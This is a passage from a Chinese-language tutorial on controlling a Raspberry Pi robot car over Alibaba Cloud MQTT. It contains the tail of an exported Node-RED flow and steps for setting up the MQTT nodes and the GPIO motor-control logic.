out","z":"d99269c6.a2d0b8","name":"","pin":"33","set":true,"level":"0","freq":"","out":"out","x":720,"y":280,"wires":[]},{"id":"8e757771.a599e8","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"停止","payload":"0","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":260,"wires":[["5f130d8f.f55d84"]]},{"id":"89e33a84.467878","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"前进","payload":"1","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":320,"wires":[["5f130d8f.f55d84"]]},{"id":"e521ba16.452cc8","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"后退","payload":"2","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":380,"wires":[["5f130d8f.f55d84"]]},{"id":"676a7be6.b97e14","type":"debug","z":"d99269c6.a2d0b8","name":"","active":false,"tosidebar":true,"console":false,"tostatus":false,"complete":"false","x":750,"y":580,"wires":[]},{"id":"482e8885.76d548","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"35","set":true,"level":"0","freq":"","out":"out","x":720,"y":340,"wires":[]},{"id":"62b4d0fc.a93f3","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"36","set":true,"level":"0","freq":"","out":"out","x":720,"y":380,"wires":[]},{"id":"fd3c406.31fc4c","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"37","set":true,"level":"0","freq":"","out":"out","x":720,"y":440,"wires":[]},{"id":"6ac88490.ba21bc","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"38","set":true,"level":"0","freq":"","out":"out","x":720,"y":480,"wires":[]},{"id":"6473261a.673168","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"左转","payload":"3","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":440,"wires":[["5f130d8f.f55d84"]]},{"id":"73eb851c.b88ddc","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"右转","payload":"4","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":480,"wires":[["5f130d8f.f55d84"]]},{"id":"bf85c267.64f96","type":"mqtt in","z":"d99269c6.a2d0b8","name":"","topic":"","qos":"2","broker":"bf40108b.620c2","x":235,"y":160,"wires":[["5f130d8f.f55d84","8a1c007d.34912"]]},{"id":"8a1c007d.34912","type":"debug","z":"d99269c6.a2d0b8","name":"","active":false,"tosidebar":true,"console":false,"tostatus":false,"complete":"false","x":435,"y":180,"wires":[]},{"id":"c1f327d8.b01818","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"","payload":"","payloadType":"date","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":240,"y":40,"wires":[["c4d9812a.7b54b"]]},{"id":"c4d9812a.7b54b","type":"mqtt out","z":"d99269c6.a2d0b8","name":"","topic":"","qos":"","retain":"","x":415,"y":40,"wires":[]},{"id":"bf40108b.620c2","type":"mqtt-broker","z":"","name":"","broker":"","port":"1883","clientid":"","usetls":false,"compatmode":true,"keepalive":"60","cleansession":true,"birthTopic":"","birthQos":"0","birthPayload":"","closeTopic":"","closeQos":"0","closePayload":"","willTopic":"","willQos":"0","willPayload":""}]
导入后效果如下
2. 修改节点属性
导入的流程不能直接使用,需要修改一些节点属性配置。
双击mqtt out节点,在属性窗点击服务器右侧的那个小标签按钮进入mqtt服务配置。填好服务器(阿里mqtt实例的外网http接入点)、端口号(默认1883)、客户端id("Group ID@@@任意id" 客户端ID在每个实例每个主题中只能唯一,重复情况下后面连接的自动被阿里断开)、用户名(这边我们使用的是签名鉴权模式,Token鉴权模式参考文档"Signature|Access Key|实例 ID")、密码(参考阿里的签名机制,快捷生成签名请点击签名校验),点击保存返回mqtt属性配置页,填写主题(阿里的Topic ID),QOS选择1(至少上传一次)。mqtt in节点类似,由于接受消息是用于控制小车,所以QOS选择2(仅分发一次),以下是配置详情
PIN控制着电机驱动模块从而控制小车的动作,前进(四个轮子前进)、后退(四个轮子后退)、左转(右侧轮子转)、右转(左侧轮子转)。假设相邻的两个OUT口连接一个电机,那么驱动模块的控制逻辑为
IN1IN2~数字信号10电机前进数字信号01电机后退数字信号00电机停止数字信号11电机停止
根据该逻辑配置function节点(示例已包含,请根据自己的接法设置GPIO口的信号输出)
*请认真填写需求信息,我们会在24小时内与您取得联系。